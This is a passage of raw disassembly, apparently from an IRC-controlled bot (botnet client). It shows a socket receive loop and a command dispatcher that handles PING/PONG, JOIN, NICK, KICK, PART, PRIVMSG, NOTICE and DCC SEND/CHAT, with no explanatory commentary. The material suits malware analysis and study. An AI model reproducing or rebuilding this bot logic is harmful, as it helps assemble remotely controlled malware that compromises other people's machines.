loc_40F623:				; CODE XREF: sub_40F576+176j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F628:				; CODE XREF: sub_40F576+95j
					; sub_40F576+FBj ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A0C]
		push	esi
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_1A0C]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4413D0	; recv
		test	eax, eax
		jle	short loc_40F621
		lea	eax, [ebp+var_A0C]
		push	eax
		lea	eax, [ebp+var_1A0C]
		push	eax
		call	sub_40A7DD
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	[ebp+arg_10], ebx
		jle	short loc_40F628
		lea	edi, [ebp+var_A0C]


loc_40F679:				; CODE XREF: sub_40F576+168j
		push	1
		pop	esi


loc_40F67C:				; CODE XREF: sub_40F576+147j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40F6F1
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40F6BF
		push	7D0h
		nop
		call	near ptr 7C802442h
		jmp	short loc_40F67C
; ---------------------------------------------------------------------------


loc_40F6BF:				; CODE XREF: sub_40F576+13Aj
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40F6E9
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40F6E5
		cmp	esi, 0FFFFFFFFh
		jz	loc_40F621
		inc	[ebp+arg_10]
		add	edi, 4
		mov	eax, [ebp+arg_10]
		cmp	eax, [ebp+var_4]
		jl	short loc_40F679
		jmp	loc_40F628
; ---------------------------------------------------------------------------


loc_40F6E5:				; CODE XREF: sub_40F576+151j
		push	1
		jmp	short loc_40F6EB
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F576+14Cj
		push	2


loc_40F6EB:				; CODE XREF: sub_40F576+171j
		pop	eax
		jmp	loc_40F623
sub_40F576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6F1	proc near		; CODE XREF: sub_40F576+12Dp

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= byte ptr -4ECh
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B70
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417430
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_4182F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40FAB8
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417430
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_FB0]
		push	offset asc_438244 ; " :"
		push	eax
		call	sub_417980
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_4182F0
		mov	esi, offset asc_428300 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_41824D
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh


loc_40F7C4:				; CODE XREF: sub_40F6F1+E7j
		push	esi
		push	ebx
		call	sub_41824D
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40F7C4
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40FAB8
		cmp	[ebp+var_90], ebx
		jz	loc_40FAB8
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40F812:				; CODE XREF: sub_40F6F1+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40F83E
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40F846
		cmp	[eax+2], bl
		jnz	short loc_40F846
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40F83E:				; CODE XREF: sub_40F6F1+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40F812


loc_40F846:				; CODE XREF: sub_40F6F1+12Aj
					; sub_40F6F1+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40F851
		mov	[ebp+var_8], edi


loc_40F851:				; CODE XREF: sub_40F6F1+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40F85F
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40F85F:				; CODE XREF: sub_40F6F1+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F899
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_4182F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_D8]
		push	offset asc_438240 ; "!"
		push	eax
		call	sub_41824D
		add	esp, 20h


loc_40F899:				; CODE XREF: sub_40F6F1+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F8EA
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F991
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		add	esp, 10h
		jmp	loc_40F991
; ---------------------------------------------------------------------------


loc_40F8EA:				; CODE XREF: sub_40F6F1+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415AE2
		push	esi
		push	offset a005	; "005"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415AE2
		push	esi
		push	offset a302_0	; "302"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F955
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417980
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F991
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_4182F0
		add	esp, 0Ch
		jmp	short loc_40F991
; ---------------------------------------------------------------------------


loc_40F955:				; CODE XREF: sub_40F6F1+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F998
		push	ebx
		push	dword_42ED04
		push	dword_42ED00
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4162D6
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		add	esp, 20h


loc_40F991:				; CODE XREF: sub_40F6F1+1D8j
					; sub_40F6F1+1F4j ...
		mov	eax, edi
		jmp	loc_40FABB
; ---------------------------------------------------------------------------


loc_40F998:				; CODE XREF: sub_40F6F1+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h


loc_40F9AA:				; CODE XREF: sub_40F6F1+2DEj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F9C7
		mov	[ebp+var_AC], 1


loc_40F9C7:				; CODE XREF: sub_40F6F1+2CAj
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F9AA
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FAC0
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40F9F6:				; CODE XREF: sub_40F6F1+392j
		cmp	[esi], bl
		jz	loc_40FA7E
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FA7E
		cmp	[ebp+var_88], ebx
		jz	short loc_40FA7E
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FA7E
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4381C4
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7
		add	esp, 20h


loc_40FA7E:				; CODE XREF: sub_40F6F1+307j
					; sub_40F6F1+327j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F9F6
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FAB8
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40FAAD:				; CODE XREF: sub_40F6F1+618j
					; sub_40F6F1+96Fj
		push	[ebp+arg_4]
		call	sub_40DBCA


loc_40FAB5:				; CODE XREF: sub_40F6F1+5904j
					; sub_40F6F1+591Fj ...
		add	esp, 10h


loc_40FAB8:				; CODE XREF: sub_40F6F1+5Bj
					; sub_40F6F1+F1j ...
		push	1


loc_40FABA:				; CODE XREF: sub_40F6F1+5E29j
		pop	eax


loc_40FABB:				; CODE XREF: sub_40F6F1+2A2j
					; sub_40F6F1+2375j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FAC0:				; CODE XREF: sub_40F6F1+2F5j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FC16
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40FAE9:				; CODE XREF: sub_40F6F1+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FB36
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418630
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40FB36
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_417A00
		push	[ebp+arg_1C]
		push	edi
		call	sub_417A10
		add	esp, 10h
		mov	edi, 80h


loc_40FB36:				; CODE XREF: sub_40F6F1+409j
					; sub_40F6F1+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40FAE9
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40FAB8
		cmp	[ebp+arg_24], ebx
		jz	loc_40FAB8
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FB7E
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_4182F0
		add	esp, 0Ch
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_40FB7E:				; CODE XREF: sub_40F6F1+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40FB83:				; CODE XREF: sub_40F6F1+4B3j
		cmp	[edi], bl
		jz	short loc_40FB9A
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FBAB


loc_40FB9A:				; CODE XREF: sub_40F6F1+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40FB83
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_40FBAB:				; CODE XREF: sub_40F6F1+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418630
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40FAB8
		push	eax
		call	sub_417AF0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AF0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40FAB8
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40DC10
		add	esp, 24h
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_40FC16:				; CODE XREF: sub_40F6F1+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FC38
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FC5F


loc_40FC38:				; CODE XREF: sub_40F6F1+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40FC3D:				; CODE XREF: sub_40F6F1+56Cj
		cmp	[edi], bl
		jz	short loc_40FC53
		push	[ebp+var_94]
		push	edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FCAD


loc_40FC53:				; CODE XREF: sub_40F6F1+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40FC3D


loc_40FC5F:				; CODE XREF: sub_40F6F1+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FD0E
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FC96
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40FC96:				; CODE XREF: sub_40F6F1+59Aj
		push	[ebp+var_84]
		push	offset dword_438168


loc_40FCA1:				; CODE XREF: sub_40F6F1+5C68j
					; sub_40F6F1+5FD5j ...
		call	sub_40C56B
		pop	ecx


loc_40FCA7:				; CODE XREF: sub_40F6F1+60EBj
		pop	ecx
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_40FCAD:				; CODE XREF: sub_40F6F1+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438138
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4177D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40FAB8
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40FAAD
; ---------------------------------------------------------------------------


loc_40FD0E:				; CODE XREF: sub_40F6F1+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4177D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40FD62
		push	[ebp+var_90]
		push	edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD62
		push	[ebp+var_90]
		push	offset dword_438134
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_415956
		cmp	dword_42ECF0, ebx
		jz	loc_415956


loc_40FD62:				; CODE XREF: sub_40F6F1+637j
					; sub_40F6F1+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEE8
		push	[ebp+var_90]
		push	edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEE8
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi


loc_40FDA9:				; CODE XREF: sub_40F6F1+8B3j
					; sub_40F6F1+944j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_43812C
		mov	[ebp+arg_8], eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4101E5
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4100AC
		cmp	[ebp+var_AC], ebx
		jz	loc_410082
		push	[ebp+esi+var_8C]
		mov	edi, offset dword_42433C
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4173AC
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	edi
		push	eax
		call	sub_4173AC
		push	[ebp+esi+var_84]
		call	sub_41791F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4380E8
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416E58
		add	esp, 44h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40CE56
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	loc_410065


loc_40FED2:				; CODE XREF: sub_40F6F1+7F5j
		cmp	[ebp+var_560], ebx
		jnz	loc_4100A4
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_40FED2
; ---------------------------------------------------------------------------


loc_40FEE8:				; CODE XREF: sub_40F6F1+681j
					; sub_40F6F1+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF01
		mov	[ebp+var_4], 1


loc_40FF01:				; CODE XREF: sub_40F6F1+807j
		cmp	[ebp+var_8C], ebx
		jz	loc_40FAB8
		push	offset dword_4380E4
		push	[ebp+var_8C]
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FF28
		cmp	[ebp+var_4], ebx
		jz	short loc_40FF34


loc_40FF28:				; CODE XREF: sub_40F6F1+830j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax


loc_40FF34:				; CODE XREF: sub_40F6F1+835j
		cmp	[ebp+var_88], ebx
		jz	loc_40FAB8
		inc	[ebp+var_88]
		jz	short loc_40FF80
		cmp	[ebp+arg_10], ebx
		jz	short loc_40FF80
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418480
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40FF86
; ---------------------------------------------------------------------------


loc_40FF80:				; CODE XREF: sub_40F6F1+855j
					; sub_40F6F1+85Aj
		mov	esi, [ebp+var_C0]


loc_40FF86:				; CODE XREF: sub_40F6F1+88Dj
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40FAB8
		push	edi
		push	offset dword_4380D8
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FDA9
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_410026
		mov	eax, dword_515650
		mov	eax, off_42EE40[eax*4]
		cmp	[eax], bl
		jz	short loc_410026
		push	eax
		push	ecx
		push	offset dword_4380BC
		push	[ebp+arg_4]
		call	sub_40DBCA
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7
		add	esp, 20h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40FAB8
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_51554C
		push	[ebp+arg_4]


loc_410019:				; CODE XREF: sub_40F6F1+59F7j
		call	sub_40DC10
		add	esp, 14h
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_410026:				; CODE XREF: sub_40F6F1+8C2j
					; sub_40F6F1+8D2j
		push	edi
		push	offset dword_438098
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FDA9
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40FDA9


loc_41004A:				; DATA XREF: ___:0042AC10o
					; ___:0042AC24o
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40FDA9
		push	eax
		push	ecx
		push	offset dword_438080
		jmp	loc_40FAAD
; ---------------------------------------------------------------------------


loc_410065:				; CODE XREF: sub_40F6F1+7DBj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset dword_438038


loc_410071:				; CODE XREF: sub_40F6F1+ACDj
					; sub_40F6F1+ADEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	short loc_4100A4
; ---------------------------------------------------------------------------


loc_410082:				; CODE XREF: sub_40F6F1+702j
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+esi+var_8C]
		push	offset dword_437FE8
		push	eax
		call	sub_4173AC
		add	esp, 10h


loc_4100A4:				; CODE XREF: sub_40F6F1+7E7j
					; sub_40F6F1+98Fj ...
		push	1
		pop	esi
		jmp	loc_411A57
; ---------------------------------------------------------------------------


loc_4100AC:				; CODE XREF: sub_40F6F1+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4101FB
		cmp	[ebp+var_AC], ebx
		jz	loc_4101D4
		push	13h
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jnz	loc_4101C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset dword_42433C
		push	eax
		call	sub_4173AC
		push	[ebp+esi+var_84]
		call	sub_41791F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_4182F0
